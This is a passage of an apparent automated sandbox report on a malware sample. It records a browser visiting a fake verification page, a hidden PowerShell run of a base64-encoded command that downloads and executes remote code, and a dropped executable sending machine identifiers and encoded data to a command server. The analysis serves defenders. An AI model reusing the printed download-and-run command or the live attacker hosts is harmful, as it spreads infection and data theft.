name="lid"yJEcaG--singl2--J0LHH1Z46Content-Dis
2024-12-10 11:49:51 UTC	5029	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 43 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 38 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 45 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 e1 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 14 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 86 82 5f 8f 25 83 57 e3 c1 ab c1 bf 09 be 6a 3e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: lrCQMn864E6(X&7~_%Wj>
2024-12-10 11:49:52 UTC	1023	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 11:49:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6q5clv4fckk6glfiktrqgdk581; expires=Sat, 05-Apr-2025 05:36:31 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pqRwc1huXLJCWxGrvGAGCl2ArDI9mOSZ7ceCTrXWJKchVNbECDc%2Bo5c%2BxWbX0uKgkdMtUwLKWltcIFAk6dNltbnzNRdsZi11Zz%2BwO%2FSGzvoE53Yv%2BwxYyLVLOnidOn%2BaIg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8efd03977bdf8c6b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1981&min_rtt=1977&rtt_var=749&sent=13&recv=26&lost=0&retrans=0&sent_bytes=2833&recv_bytes=21311&delivery_rate=1452736&cwnd=144&unsent_bytes=0&cid=001d4d7f5166314c&ts=751&x=0"
2024-12-10 11:49:52 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-12-10 11:49:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.17	49745	104.21.80.1	443	7464	C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 11:49:55 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=8P7CX2BGJUM3591WMW User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1202 Host: youngsweays.my
2024-12-10 11:49:55 UTC	1202	OUT	Data Raw: 2d 2d 38 50 37 43 58 32 42 47 4a 55 4d 33 35 39 31 57 4d 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 41 32 44 37 36 30 37 38 36 36 32 44 37 37 42 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 38 50 37 43 58 32 42 47 4a 55 4d 33 35 39 31 57 4d 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 38 50 37 43 58 32 42 47 4a 55 4d 33 35 39 31 57 4d 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 4a 45 63 61 47 2d 2d 73 69 6e 67 6c Data Ascii: --8P7CX2BGJUM3591WMWContent-Disposition: form-data; name="hwid"9A2D76078662D77B23D904AF30EFEBBC--8P7CX2BGJUM3591WMWContent-Disposition: form-data; name="pid"1--8P7CX2BGJUM3591WMWContent-Disposition: form-data; name="lid"yJEcaG--singl
2024-12-10 11:49:56 UTC	1015	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 11:49:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hsov1i1ts2oojog9efuccdc2n6; expires=Sat, 05-Apr-2025 05:36:34 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pEmRWDJqJel5fgk2BufWUcMw99SrGqc%2FtP0Y6qqqP7p5rxme%2FCnHOC0l1YAtz11jyz02zprN1rouuDs6ehAVFsV656%2B6sgy2uBWHtP19Q0pEnSksf5gCbXkLPZb4v4Nkng%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8efd03ae2891de98-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1427&min_rtt=1423&rtt_var=542&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2834&recv_bytes=2117&delivery_rate=2002743&cwnd=208&unsent_bytes=0&cid=cad0acaf31123d5d&ts=1023&x=0"
2024-12-10 11:49:56 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-12-10 11:49:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.17	49746	104.21.80.1	443	7464	C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 11:49:59 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=2LZB6BF0NYQG15ZH3AX User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 61196 Host: youngsweays.my
2024-12-10 11:49:59 UTC	15331	OUT	Data Raw: 2d 2d 32 4c 5a 42 36 42 46 30 4e 59 51 47 31 35 5a 48 33 41 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 41 32 44 37 36 30 37 38 36 36 32 44 37 37 42 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 32 4c 5a 42 36 42 46 30 4e 59 51 47 31 35 5a 48 33 41 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 32 4c 5a 42 36 42 46 30 4e 59 51 47 31 35 5a 48 33 41 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 4a 45 63 61 47 2d 2d 73 69 Data Ascii: --2LZB6BF0NYQG15ZH3AXContent-Disposition: form-data; name="hwid"9A2D76078662D77B23D904AF30EFEBBC--2LZB6BF0NYQG15ZH3AXContent-Disposition: form-data; name="pid"1--2LZB6BF0NYQG15ZH3AXContent-Disposition: form-data; name="lid"yJEcaG--si
2024-12-10 11:49:59 UTC	15331	OUT	Data Raw: ae 69 85 e3 b7 86 ab 56 f9 49 1b b7 77 0d 6d ac 3a 89 d5 b7 8f 96 6b c7 c5 f0 36 7e ee f5 4e f8 fe 4b 8d 9f 77 db 42 3f b8 cc 82 17 10 59 5e 93 98 06 1e 35 ab c4 4a 01 0b 49 50 39 39 b9 98 b4 34 b1 a4 a4 a4 98 f4 74 f1 c5 7e 84 ac c0 b8 d0 9f 3e b6 63 e5 a0 fb f2 c8 d7 23 84 1b 40 dc be 7b 9c f9 14 95 c0 b4 d3 2f 0a 59 71 df 99 3f 63 5d c0 9a 14 90 3f 12 b8 b5 16 b2 73 71 61 43 ea 86 be b9 78 f1 ec 9d b7 5b 05 c7 2a 33 32 38 77 75 dc 2e ce ff 4e 98 7d 0d dd 2b 62 7a 2e 0c cc 22 ea ae 82 98 5d 65 c4 6b a7 d3 68 45 1e be d6 a7 c1 d4 aa 2e 18 90 40 33 8f 59 a6 0b 1a 34 9a 8f 29 db 30 f8 71 67 58 94 ba 4a e1 9c 8a 82 d1 6b 1f b7 d8 c9 06 51 21 11 21 3a 0e da ad b6 f2 cf 9f cf 26 c9 7b 7f f9 f6 ed db f7 46 66 15 90 55 e8 2b b2 6e 09 a0 45 1d 8b 27 c7 0f db 91 Data Ascii: iVIwm:k6~NKwB?Y^5JIP994t~>c#@{/Yq?c]?sqaCx[*328wu.N}+bz."]ekhE.@3Y4)0qgXJkQ!!:&{FfU+nE'
2024-12-10 11:49:59 UTC	15331	OUT	Data Raw: ef a0 20 80 e2 7d 7f e5 20 52 a5 0f 9d b3 5c 33 3d 27 c5 f9 ab cc ae 39 87 0f ff cd 6f 2b 35 b0 6d 49 45 00 35 90 2c 81 4b ac 32 de f0 fc d4 c6 fc 9d ff f0 5d 0f c7 c4 17 ac 04 43 1a a3 e6 02 97 72 95 af 43 c5 8c a8 79 91 5f 7f 16 45 87 a6 fa 67 fb df 10 56 4b dd 48 d4 9c 7d a9 de 67 ef 43 d3 98 ec 12 44 d0 6a de 4e bf df 66 40 55 82 cc 7a 4b a3 ca 2f 25 28 b6 72 ca 60 d1 f7 07 c6 7e 3d e2 65 fa d4 d2 c5 59 48 4b 5f ff 92 72 3f 3a 52 db 79 3c 63 f9 70 17 b7 0a f8 7c 26 ad b7 e3 36 78 3c ed 1e 78 88 be cd 6f 74 da f6 9c a6 8e 30 f8 72 5e 7a 73 fd 2e 7e 49 19 3b 83 ec 33 bc 62 9f 36 a8 92 85 75 a9 9d 8a 5f ab f7 83 9e fe 45 4a 52 a4 7c 3f e7 b0 5d 5b a1 d0 a9 01 a3 6c 4f f5 14 45 33 72 0c 10 88 ae db 17 f5 b0 1e cb 02 f2 bf b6 76 89 62 c3 51 3b 5b 1b 8e 1d Data Ascii: } R\3='9o+5mIE5,K2]CrCy_EgVKH}gCDjNf@UzK/%(r`~=eYHK_r?:Ry<cp\|&6x<xot0r^zs.~I;3b6u_EJR\|?][lOE3rvbQ;[
2024-12-10 11:49:59 UTC	15203	OUT	Data Raw: e6 ff 2f 94 03 82 87 a0 9a 1c 63 29 01 c5 8e af 85 85 f1 62 a1 06 ed 5e e3 1c 54 cd d6 bd 53 ea 57 06 5c 5f bb 23 a8 61 1e 01 6e 45 f4 92 3e 84 19 95 a2 eb 9d 5c 07 62 63 04 c5 c6 06 8c f5 0d 10 13 68 60 3f 88 d2 e4 78 2a 50 0b 28 50 b4 cc 1a 94 a8 20 d9 f1 01 ea 44 04 65 a5 80 16 65 07 25 2a 4b 0b 34 4a 20 ce 2c 69 42 5b d8 4f af 02 da 38 fc 47 ea de 15 a4 e3 78 02 55 b0 43 85 c5 89 f5 26 a1 af 6b bb b8 2b 3e a4 26 98 24 54 33 49 06 22 14 1a 92 42 53 9e 59 61 61 b6 1a 9c 72 30 e0 e5 7e e2 55 b5 4c 52 df 7e 9d 9b 78 0d 72 2f fd 32 10 61 06 e3 e6 57 2c 95 67 f4 73 b2 dd e7 23 f8 54 0e 4a 77 fd 01 dc 26 89 1d fc a9 fe 19 94 fc e4 ed 38 42 cf c0 82 6f af f7 c5 73 87 53 86 1f 01 49 ad 8d f6 67 48 45 2a e7 b2 35 35 10 30 ea f5 cc cf a4 a1 3f 80 8c f8 c0 11 52 Data Ascii: /c)b^TSW\_#anE>\bch`?xP(P Dee%K4J ,iB[O8GxUC&k+>&$T3I"BSYaar0~ULR~xr/2aW,gs#TJw&8BosSIgHE*550?R
2024-12-10 11:50:00 UTC	1020	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 11:50:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sd55qa3pkat2dhtekugul671pd; expires=Sat, 05-Apr-2025 05:36:39 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=n%2FOSgkMvc1qO4wdeLAANX2GRqTy8drOn8UOkAtVj862kx%2ByjFMRzMXJ6nK7iqKPaIrrQAV5PkMJb%2BHE3o9POcarcLsFSMIhIv2R%2FnYO8iBzatEvRfRBBEwqnTqKORpxOXA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8efd03c6fccfde98-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1458&min_rtt=1457&rtt_var=550&sent=37&recv=68&lost=0&retrans=0&sent_bytes=2834&recv_bytes=62267&delivery_rate=1985044&cwnd=208&unsent_bytes=0&cid=1fe147382e29466a&ts=1171&x=0"
2024-12-10 11:50:00 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-12-10 11:50:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	06:48:08
Start date:	10/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff7d6f10000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	06:48:09
Start date:	10/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2120 --field-trial-handle=1964,i,13921520401259098976,9697674762197469750,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7d6f10000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	06:48:10
Start date:	10/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://ytfjghloadv1.b-cdn.net/proCESSINGveriffv001.html"
Imagebase:	0x7ff7d6f10000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	06:48:27
Start date:	10/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -w h "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYXNnYnVja2V0Lm9zcy1hcC1zb3V0aGVhc3QtMy5hbGl5dW5jcy5jb20vY2xhc3MvaW5pdGlhdGUvSmlkVzNtRTcudHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) \| iex"
Imagebase:	0x7ff711290000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	06:48:27
Start date:	10/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff772470000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	06:49:21
Start date:	10/12/2024
Path:	C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe"
Imagebase:	0x400000
File size:	7'227'080 bytes
MD5 hash:	444F7C38106905ABAD5897DA1C0B466A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	1.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	34.3%
Total number of Nodes:	137
Total number of Limit Nodes:	14

Executed Functions

Function 024507A7 Relevance: 12.7, APIs: 8, Instructions: 730memorynativethreadCOMMON

Download Yara Rule

APIs

NtCreateSection.NTDLL(?,000F001F,00000000,?,00000040,08000000,00000000,00000000), ref: 02450840
NtMapViewOfSection.NTDLL(?,00000000), ref: 024508E8
VirtualAlloc.KERNELBASE(00000000,?,00003000,00000004), ref: 02450C5C
NtMapViewOfSection.NTDLL(?,00000000,?,?,?,?,?,?), ref: 02450D11
VirtualProtect.KERNELBASE(?,?,00000008,?,?,?,?,?,?,?), ref: 02450D2E
VirtualProtect.KERNELBASE(?,?,?,00000000), ref: 02450DD1
VirtualProtect.KERNELBASE(?,?,00000002,?,?,?,?,?,?,?), ref: 02450E04
CreateThread.KERNELBASE(00000000,00000000,?,00000000,00000000,00000000,?,?,?,?,?,?), ref: 02450F75

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID: Virtual$ProtectSection$CreateView$AllocThread
String ID:
API String ID: 1248616170-0
Opcode ID: ff471fed8362e1f6680916959444b0539dd2ef4160a15e649cb06b76fd5f0269
Instruction ID: bcec50a9d91f534f6e8c30f435383638fd94107cada636d73325b2e6dad01517
Opcode Fuzzy Hash: ff471fed8362e1f6680916959444b0539dd2ef4160a15e649cb06b76fd5f0269
Instruction Fuzzy Hash: 8B428B76608361AFD724CF24C844B6BB7E9EF88714F04592EFD899B242E770E845CB91

Function 02400BAD Relevance: 6.1, APIs: 4, Instructions: 100
threadprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000004,00000000,?,?,?,?,?,024006F3,?,00000001,?,81EC8B55,000000FF), ref: 02400BEB
Thread32First.KERNEL32(00000000,0000001C), ref: 02400C17
Wow64SuspendThread.KERNEL32(00000000), ref: 02400C6A
CloseHandle.KERNELBASE(00000000), ref: 02400C94

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID: CloseCreateFirstHandleSnapshotSuspendThreadThread32Toolhelp32Wow64
String ID:
API String ID: 1849706056-0
Opcode ID: ed4f7e93d5c748d87e273fbd072de27cfcb41b6612c19f34ce8dd7f2a24eca5e
Instruction ID: 48cc854a5954b5037e051b4c96437e8c66f7dc2dcf37389719dc1342b24ecb5b
Opcode Fuzzy Hash: ed4f7e93d5c748d87e273fbd072de27cfcb41b6612c19f34ce8dd7f2a24eca5e
Instruction Fuzzy Hash: 17411E71A00108AFDB18DF98C494FAEB7F6EF88300F108069E6159B7D4DB34AE85CB54

Function 02400A5D Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 103
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(00000000,00000000,?,00000000,00000000,00000000), ref: 02400B29

Strings

,, xrefs: 02400B75

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID: ,
API String ID: 2422867632-3772416878
Opcode ID: fc60953fbf7661c618888493d7684cefa6d88d8934743e077e5b29c3addb46ae
Instruction ID: 02177fffec1e0e8ca74523968844657204ce315b78a6f26595d40ce29b67232c
Opcode Fuzzy Hash: fc60953fbf7661c618888493d7684cefa6d88d8934743e077e5b29c3addb46ae
Instruction Fuzzy Hash: 9D41B374A00209EFDB14CF98C994BAEB7B1FF88318F2081A9D5156B391D775AE81CF94

Function 0240049D Relevance: 1.9, APIs: 1, Instructions: 399
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(00000000,00000000,?,00000000,00000000,00000000,?,00000001,?,81EC8B55,000000FF), ref: 02400740

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: a29479b4b8eb314fbe04b85daea005ea3d68cb967498752fa10f599e6a6324c6
Instruction ID: 304933fd4255d9928ce39c3ffb14ce582921fcde1c2f54df07f16e41cc372ccd
Opcode Fuzzy Hash: a29479b4b8eb314fbe04b85daea005ea3d68cb967498752fa10f599e6a6324c6
Instruction Fuzzy Hash: 6912B4B1E00219DFDB14CF98C990BADBBB2FF88304F2481AAD515AB385D7356A81CF54

Function 0244F207 Relevance: 6.1, APIs: 4, Instructions: 99
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02451425: LoadLibraryA.KERNELBASE(00000000,?,?), ref: 024514B7

VirtualProtect.KERNELBASE(00000000,0000000C,00000040,?), ref: 0244F262
VirtualProtect.KERNELBASE(00000000,0000000C,?,?), ref: 0244F295
VirtualProtect.KERNELBASE(00000000,0040145E,00000040,?), ref: 0244F2C8
VirtualProtect.KERNELBASE(00000000,0040145E,?,?), ref: 0244F2F2

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID: ProtectVirtual$LibraryLoad
String ID:
API String ID: 895956442-0
Opcode ID: 2e97600cb857c96b3e27a7ca78dc6b50189988e4741ea1636e9ebab3cfc04358
Instruction ID: 2a29010e13cd0bfbf7f65a421a4626aa95e8a461df92bb8805ad0d7863adea6d
Opcode Fuzzy Hash: 2e97600cb857c96b3e27a7ca78dc6b50189988e4741ea1636e9ebab3cfc04358
Instruction Fuzzy Hash: 5B21F7722042593EF310AAA18C44FB776ACEB85304F00083FFE4AD6551EF66A9098AB1

Function 02450077 Relevance: 4.8, APIs: 3, Instructions: 325
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000004,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 024500F1
VirtualFree.KERNELBASE(00000000,00000000,0000C000), ref: 02450435
RtlExitUserProcess.NTDLL(00000000), ref: 0245043E

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID: Virtual$AllocExitFreeProcessUser
String ID:
API String ID: 1828502597-0
Opcode ID: 913584bddb567b179a3f9b4e0e6654d789e61ea3d5744fe4b2293047c08ef92d
Instruction ID: b935b4a5dd1a420a7f7104877a0584a5fbe853db2e103734dde61c9fe6b9d9c3
Opcode Fuzzy Hash: 913584bddb567b179a3f9b4e0e6654d789e61ea3d5744fe4b2293047c08ef92d
Instruction Fuzzy Hash: 8FB1C335504B26EBD7229F60CC80BA7B7E9BF09304F14152FEDD986242E771E551CBA2

Function 02451425 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(00000000,?,?), ref: 024514B7

Strings

.dll, xrefs: 0245145C

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: .dll
API String ID: 1029625771-2738580789
Opcode ID: f6f06f52cd4a024ca790678b75224790e8b38e6a55f670a1ffdfea5ea75d1fe1
Instruction ID: d4f31153a67ad2f437f861f9ff8d8baca1b7e59f733bf3d3dfc30234fe6392fa
Opcode Fuzzy Hash: f6f06f52cd4a024ca790678b75224790e8b38e6a55f670a1ffdfea5ea75d1fe1
Instruction Fuzzy Hash: A2210A356002A58FDB11CFACC844B6B7BA4AF02364F19516EDC8D8B742D774E845C790

Function 0244F302 Relevance: 3.0, APIs: 2, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02451425: LoadLibraryA.KERNELBASE(00000000,?,?), ref: 024514B7

VirtualProtect.KERNELBASE(00000000,00000004,00000040,?), ref: 0244F33A
VirtualProtect.KERNELBASE(00000000,00000004,?,?), ref: 0244F35D

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID: ProtectVirtual$LibraryLoad
String ID:
API String ID: 895956442-0
Opcode ID: 31a2c6fb5a155253d75781cd9ceba9c7cc267d2f06376007566f6440306b8afe
Instruction ID: e7701a5f91de6538faec5658c99286f8c5e6a5f286ca77d786d3ac317d07c0d3
Opcode Fuzzy Hash: 31a2c6fb5a155253d75781cd9ceba9c7cc267d2f06376007566f6440306b8afe
Instruction Fuzzy Hash: D7F081B21006147AF6219A65CC41FFB36ACEF49A14F40042AFF4AD6080FBA5E6458AA1

Non-executed Functions

Function 02413FDF Relevance: 165.6, Strings: 131, Instructions: 1885COMMON

Download Yara Rule

Strings

d, xrefs: 024153B0
Z, xrefs: 02415766
`, xrefs: 02415B25
3, xrefs: 02414155
p, xrefs: 02415676
x, xrefs: 024152D0
a, xrefs: 02415D5B
K, xrefs: 02414878
}, xrefs: 024150C7
w, xrefs: 02415626
/, xrefs: 024142BD
r, xrefs: 02415320
`, xrefs: 02414D8E
a, xrefs: 02415BF1
b, xrefs: 02415BEC
M, xrefs: 02415A58
p, xrefs: 02415310
D, xrefs: 02415CA7
^, xrefs: 02415400
3, xrefs: 024141D0
a, xrefs: 02415606
c, xrefs: 02415BE7
b, xrefs: 02414D84
~, xrefs: 02414AF6
I, xrefs: 0241486E
,, xrefs: 0241465E
g, xrefs: 02415616
t, xrefs: 02415330
r, xrefs: 02415686
', xrefs: 024146B6
{, xrefs: 024150B7
c, xrefs: 02415E18
|, xrefs: 024155F6
A, xrefs: 024140C6
m, xrefs: 02415047
8, xrefs: 02414E96
E, xrefs: 0241527C
w, xrefs: 02415097
V, xrefs: 02415440
L, xrefs: 02415470
a, xrefs: 02415924
a, xrefs: 02415E22
